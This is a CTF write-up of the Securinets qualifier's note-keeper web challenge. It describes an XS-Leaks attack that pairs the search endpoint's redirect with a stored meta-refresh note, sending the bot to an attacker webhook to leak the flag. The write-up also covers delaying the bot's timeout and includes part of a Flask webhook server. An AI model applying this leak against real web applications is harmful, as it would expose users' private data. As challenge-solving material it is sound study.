tl;dr
- Create a note with meta redirect tag to get callback.
- Leak the flag using search functionality.
Challenge points: 996
No. of solves: 8
Solved by: ma1f0y ,yadhuz
Challenge Description
I was confused and didn’t know what’s the approproate name for this website :( However just a typical note keeper website \o/ Enjoy the ride :)
Intro
This was an interesting XS-Leaks challenge from Securinets CTF qualfiiers, which had the least number of solves among web challenges.
Analysis
In this challenge, we were given a note creating app and there was a search functionality where we can search note content. This seemed like a place to look for bugs like XS-Leaks.
The source code for search endpoint is given below.
1 |
|
The following happens when a request is made to /search
endpoint.
- The
query
argument is split based on:
. - First part of
query
is the note content which will be searched in current user’s note. - The second part of
query
is a note id, to which the user will be redirected to when a note which matches the search is found.
Thus, the query argument takes the following format.
/search?query=substring:note_id
It is also to be noted that HTML can be inserted as a note, but there is a strict CSP which blocks us from executing JavaScript.
1 | <meta http-equiv="Content-Security-Policy" content="default-src 'self';object-src 'none'"> |
Exploit
To exploit, we can use the /search
endpoint. We check if there’s any note that contains a particular string and if present, we redirect to a note that contains an HTML code that can give the webhook server a callback.
This can be done using a <meta>
refresh tag.
1 | <meta http-equiv="refresh" content="0;url=http://site/webhook"> |
However, there was a timeout which limits the time that bot stays in the given URL.
1 | await page2.goto(website,{ |
But, waitUntil: 'networkidle0'
means the bot will wait until there is no network connection for at least 500ms. So, it is possible to we can load a image which will delay the timeout.
Exploit Script
- Client-Side Exploit
1 |
|
- Webhook Server
1 | from flask import Flask,request,render_template,session,redirect |
With the above exploit, whenever a note that matches a substring of the flag, the bot gets redirected to a webhook server.
There were many interesting solutions for this challenge like abuse the redirect in the search with fetch redirect limit. Solving this challenge was fun and learnt a lot with it.
Flag
1 | Securinets{ArigAt0} |